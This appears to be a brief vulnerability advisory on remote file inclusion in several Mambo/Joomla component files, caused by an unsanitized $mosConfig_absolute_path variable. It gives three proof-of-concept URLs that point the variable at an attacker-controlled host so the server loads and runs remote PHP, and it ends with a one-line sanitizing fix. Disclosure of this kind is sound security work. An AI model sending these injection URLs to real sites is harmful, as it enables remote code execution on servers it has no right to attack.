**/
// XML library
require_once( $mosConfig_absolute_path . '/includes/domit/xml_domit_lite_include.php' );
------------------------------------------------------------
Variables $mosConfig_absolute_path are not properly sanitized. When
register_globals=on
and allow_fopenurl=on an attacker can exploit this vulnerability with a
simple php injection script.
Proof Of Concept:
~~~~~~~~~~~~~~~
http://[target]/[path]/components/com_hashcash/server.php?mosConfig_absolute_path=http://attacker.com/evil.txt?
http://[target]/[path]/components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?mosConfig_absolute_path=http://evilscript
http://[target]/[path]/components/com_sitemap/sitemap.xml.php?mosConfig_absolute_path=http://attacker.com/evil.txt?
Solution:
~~~~~~~
sanitize variabel $mosConfig_absolute_path.
